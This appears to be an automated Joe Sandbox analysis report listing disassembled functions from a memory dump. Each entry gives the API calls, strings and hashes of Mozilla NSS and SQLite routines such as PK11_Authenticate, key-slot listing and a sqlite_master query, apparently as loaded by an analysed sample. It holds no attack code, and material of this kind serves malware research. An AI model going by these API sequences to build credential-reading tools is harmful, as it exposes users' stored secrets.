CopySid.ADVAPI32(00000000,00000000,?), ref: 6CBE1CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CBE1CE4
GetLengthSid.ADVAPI32(?), ref: 6CBE1CEC
malloc.MOZGLUE(00000000), ref: 6CBE1CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CBE1D0F
CloseHandle.KERNEL32(?), ref: 6CBE1D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CBE1D4D
GetLastError.KERNEL32 ref: 6CBE1D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CBE1D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CBE1D7A

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: cc0ed0be00a6e098277f54947186a3344781fa948417bf60b2824bad1b9e2bd6
Instruction ID: 657d4bdf73971150eeaa1467355dea3194ba2828e6d666f32ecba57b0cb017ce
Opcode Fuzzy Hash: cc0ed0be00a6e098277f54947186a3344781fa948417bf60b2824bad1b9e2bd6
Instruction Fuzzy Hash: 233153B1A00218AFFF10AF64CC89BAA7BBCFF49349F048569F70992151E7315998CF65

Function 6CBEEF40 Relevance: 25.1, APIs: 10, Strings: 4, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBEEF63

Part of subcall function 6CBF87D0: PORT_NewArena_Util.NSS3(00000800,6CBEEF74,00000000), ref: 6CBF87E8
Part of subcall function 6CBF87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CBEEF74,00000000), ref: 6CBF87FD
Part of subcall function 6CBF87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CBF884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CBEF2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBEF2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CBEF30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CBEF374
PL_strcasecmp.NSS3(6CD32FD4,?), ref: 6CBEF457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CBEF4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CBEF66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CBEF67D
CERT_DestroyName.NSS3(?), ref: 6CBEF68B

Part of subcall function 6CBF8320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CBF8338
Part of subcall function 6CBF8320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CBF8364
Part of subcall function 6CBF8320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CBF838E
Part of subcall function 6CBF8320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBF83A5
Part of subcall function 6CBF8320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF83E3

Part of subcall function 6CBF84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CBF84D9
Part of subcall function 6CBF84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CBF8528

Part of subcall function 6CBF8900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CBEF599,?,00000000), ref: 6CBF8955

Strings

G8VzgfGXFPGfYTaCnrYb3PvON924TvjJLDc8uKVscDGWvG0TXrcAZ0SHrkr6+NHBnAxbkG9KVkrgH9hXGuAQdKi/tLK8fwnAm7BlZMJnLFWM+5rfCRKHlkblmDkXpWVRuTUlukngCfcL2uafomlXu3WtPDQcgzdnK/U2pp7+udbo+Z8Zpz4MlHMfB0kHPg2U8fd9Bzh8/y3LHGT24je/Glgvr5uZkLs3hZTJvo1pdkfA7jBDnay84SehJdSOFBld7ONt, xrefs: 6CBEF1BA
*, xrefs: 6CBEF3C6
", xrefs: 6CBEF21B
oid., xrefs: 6CBEF2CF

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$G8VzgfGXFPGfYTaCnrYb3PvON924TvjJLDc8uKVscDGWvG0TXrcAZ0SHrkr6+NHBnAxbkG9KVkrgH9hXGuAQdKi/tLK8fwnAm7BlZMJnLFWM+5rfCRKHlkblmDkXpWVRuTUlukngCfcL2uafomlXu3WtPDQcgzdnK/U2pp7+udbo+Z8Zpz4MlHMfB0kHPg2U8fd9Bzh8/y3LHGT24je/Glgvr5uZkLs3hZTJvo1pdkfA7jBDnay84SehJdSOFBld7ONt$oid.
API String ID: 4161946812-1250871419
Opcode ID: 8393b7cebd97f441ba9a65842d7e04856add7c303672e63de4d852082ed4ccde
Instruction ID: 57ef63aa8a864d80c761709ce93913d3326dd57306e8fd8059d230aae8175032
Opcode Fuzzy Hash: 8393b7cebd97f441ba9a65842d7e04856add7c303672e63de4d852082ed4ccde
Instruction Fuzzy Hash: A62228716083C04FE714CE29E49076AB7E6EBCDB98F184A2EE49587B95E7319C05C783

Function 6CB91C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB91D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB91EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CB91FB7

Strings

SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CB91F83
unknown error, xrefs: 6CB92291
another row available, xrefs: 6CB92287
table, xrefs: 6CB91C8B
sqlite_master, xrefs: 6CB91C61
sqlite_temp_master, xrefs: 6CB91C5C
attached databases must use the same text encoding as main database, xrefs: 6CB920CA
abort due to ROLLBACK, xrefs: 6CB92223
no more rows available, xrefs: 6CB92264
unsupported file format, xrefs: 6CB92188

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: 497a132c3d919b7f2dff80c1293345dd6b62daa9f59de45686549a0ce594efe8
Instruction ID: 76f84a8ab64b8bd20261dc422c6bc65747fcd96e3ee95489a60767c1eeb57d16
Opcode Fuzzy Hash: 497a132c3d919b7f2dff80c1293345dd6b62daa9f59de45686549a0ce594efe8
Instruction Fuzzy Hash: C912D070A083818FD715CF19C084A5AB7F6FF86318F18856DE8999BB52D731E846CB93

Function 6CC5EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC5C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CC5DAE2,?), ref: 6CC5C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC5F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC5F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CC5F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC5F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CD2218C), ref: 6CC5F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CC5F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC5F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CC5F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CC5F210

Part of subcall function 6CC052D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CC5F1E9,?,00000000,?,?), ref: 6CC052F5
Part of subcall function 6CC052D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CC0530F
Part of subcall function 6CC052D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CC05326
Part of subcall function 6CC052D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CC5F1E9,?,00000000,?,?), ref: 6CC05340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC5F227

Part of subcall function 6CC4FAB0: free.MOZGLUE(?,-00000001,?,?,6CBEF673,00000000,00000000), ref: 6CC4FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CC5F23E

Part of subcall function 6CC4BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CBFE708,00000000,00000000,00000004,00000000), ref: 6CC4BE6A
Part of subcall function 6CC4BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CC004DC,?), ref: 6CC4BE7E
Part of subcall function 6CC4BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CC4BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CC5F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CC5F3A8

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CC5F3B3

Part of subcall function 6CC02D20: PK11_DestroyObject.NSS3(?,?), ref: 6CC02D3C
Part of subcall function 6CC02D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC02D5F

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 697149549e4dec1a85aa6556f14af904802d80fb3ed1a20085ca037cc6826670
Instruction ID: fb11551ef959683e8a515de430ccd8903e73374dd5d649bca469cf9dd24080f6
Opcode Fuzzy Hash: 697149549e4dec1a85aa6556f14af904802d80fb3ed1a20085ca037cc6826670
Instruction Fuzzy Hash: CDD180B6E016059FEB08CFA9D880A9EB7F5FF48308F558029D915A7711FB31E826CB54

Function 6CC3A9A0 Relevance: 21.2, APIs: 14, Instructions: 214COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC3A9CA

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6CD50B04,?), ref: 6CC3A9F7

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CC3AA0B
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC3AA33
PK11_GetInternalKeySlot.NSS3 ref: 6CC3AA55
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6CC3AA69
PORT_FreeArena_Util.NSS3(00000001,00000001), ref: 6CC3AAD4
PK11_ListFixedKeysInSlot.NSS3(?,00000000,?), ref: 6CC3AB18
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC3AB5A
PK11_FreeSymKey.NSS3(00000000), ref: 6CC3AB85
PK11_FreeSymKey.NSS3(00000000), ref: 6CC3AB99
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC3ABDC
PK11_FreeSymKey.NSS3(?), ref: 6CC3ABE9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC3ABF7

Part of subcall function 6CC3AC10: PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CC3AB3E,?,?,?), ref: 6CC3AC35
Part of subcall function 6CC3AC10: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CC3AB3E,?,?,?), ref: 6CC3AC55
Part of subcall function 6CC3AC10: PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CC3AB3E,?,?), ref: 6CC3AC70
Part of subcall function 6CC3AC10: PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CC3AC92
Part of subcall function 6CC3AC10: PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC3AB3E), ref: 6CC3ACD7

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: K11_$Util$Free$Arena_Item_$Zfree$ArenaContextSlot$Alloc_AuthenticateBlockCipherCreateDecodeDestroyErrorFixedInitInternalKeysListLockPoolQuickSizecalloc
String ID:
API String ID: 2602994911-0
Opcode ID: 7041065aa1295d1d1cb6fca4271a261af2852284229d3a07e271969e707a25fa
Instruction ID: 9801e808b13fabe85cfd5f2e8fddc8f32421afdb3993eb069d69bb22246b8106
Opcode Fuzzy Hash: 7041065aa1295d1d1cb6fca4271a261af2852284229d3a07e271969e707a25fa
Instruction Fuzzy Hash: AF710272904311ABDB01CFA9BC40B5BB3A5AFC435CF105A29F96C97650FB31D9688B92

Function 6CB7ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB7ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB7EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB7EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CB7EF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB7F483
%s at line %d of [%.10s], xrefs: 6CB7F492
database corruption, xrefs: 6CB7F48D

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 3c445744a9e40a757f7f95ba54ebeda5a43ff26639c29c1eb8def0081a81413e
Instruction ID: e44deafdb25ed72377e4dde078855e36ca5ca99fbddfff06a6c0281f7c5e0d62
Opcode Fuzzy Hash: 3c445744a9e40a757f7f95ba54ebeda5a43ff26639c29c1eb8def0081a81413e
Instruction Fuzzy Hash: 9A62E130A042C58FEB24CF68C48479EBBB1FF45318F184199DC656BB91D735E886CBA6

Function 6CC1FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CC1FD06

Part of subcall function 6CC1F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CC1F696
Part of subcall function 6CC1F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CC1F789
Part of subcall function 6CC1F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CC1F796
Part of subcall function 6CC1F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CC1F79F
Part of subcall function 6CC1F670: SECITEM_DupItem_Util.NSS3 ref: 6CC1F7F0

Part of subcall function 6CC43440: PK11_GetAllTokens.NSS3 ref: 6CC43481
Part of subcall function 6CC43440: PR_SetError.NSS3(00000000,00000000), ref: 6CC434A3
Part of subcall function 6CC43440: TlsGetValue.KERNEL32 ref: 6CC4352E
Part of subcall function 6CC43440: EnterCriticalSection.KERNEL32(?), ref: 6CC43542
Part of subcall function 6CC43440: PR_Unlock.NSS3(?), ref: 6CC4355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CC1FDAD

Part of subcall function 6CC4FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CBF9003,?), ref: 6CC4FD91
Part of subcall function 6CC4FD80: PORT_Alloc_Util.NSS3(A4686CC5,?), ref: 6CC4FDA2
Part of subcall function 6CC4FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CC5,?,?), ref: 6CC4FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CC1FE00

Part of subcall function 6CC4FD80: free.MOZGLUE(00000000,?,?), ref: 6CC4FDD1

Part of subcall function 6CC3E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC3E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC1FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CC1FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CC1FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CC1FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CC1FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CC1FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CC1FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CC20007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CC20029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CC20044

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: e671e874c52276682a9459cc52168f99cfb5731590c7358cc2a698653352f0ac
Instruction ID: cde0b30437d44790b557be5d8e2efe818f702f2e44738ae2c59923343bfce907
Opcode Fuzzy Hash: e671e874c52276682a9459cc52168f99cfb5731590c7358cc2a698653352f0ac
Instruction Fuzzy Hash: 52B1A4B1608301AFE704CF2AC850A6AF7E5FF88308F558A1DE95D97A81F770E945CB91

Function 6CC20EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CC20F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CC20FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CC21006
PK11_FreeSymKey.NSS3(?), ref: 6CC2101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC21033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC2103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CC21048
memcpy.VCRUNTIME140(?,?,?), ref: 6CC2108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CC210BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CC210D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CC2112E

Part of subcall function 6CC21570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CC208C4,?,?), ref: 6CC215B8
Part of subcall function 6CC21570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CC208C4,?,?), ref: 6CC215C1
Part of subcall function 6CC21570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC2162E
Part of subcall function 6CC21570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC21637

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: cb4b3e43ca8bb6cb972c57ba5f611578c868d92bfcd6f176a6366f14b5c75c06
Instruction ID: a0309edbd40cf5c9bb00cf680d921c37b5c564628bb88bea7982d7e8802622e9
Opcode Fuzzy Hash: cb4b3e43ca8bb6cb972c57ba5f611578c868d92bfcd6f176a6366f14b5c75c06
Instruction Fuzzy Hash: 4171CEB1E002059FDB04CFA9C884A6AF7B4BF48318F14862DE90997B51FB76DD45CB91

Function 6CC41CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CC41F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CC42166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CC4228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CC423B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC4241C

Strings

token, xrefs: 6CC41F2C
serial, xrefs: 6CC422A2
manufacturer, xrefs: 6CC42179
model, xrefs: 6CC423CB, 6CC423EC

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 90610bfbacda0beeaad325684c49818c8e0a121750dd442b72dd2871ac30c93d
Instruction ID: 9ee4f2034669f48619f387f6fd7f1ee075bde32d3dc58fcf1ee2438f34cba6b6
Opcode Fuzzy Hash: 90610bfbacda0beeaad325684c49818c8e0a121750dd442b72dd2871ac30c93d
Instruction Fuzzy Hash: A2024EA2E0C7C86EF7318671C45D7D76EE09B4532CF0CD66EC6DE86683E3A858898351

Function 6CC46C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CBF1C6F,00000000,00000004,?,?), ref: 6CC46C3F

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CBF1C6F,00000000,00000004,?,?), ref: 6CC46C60
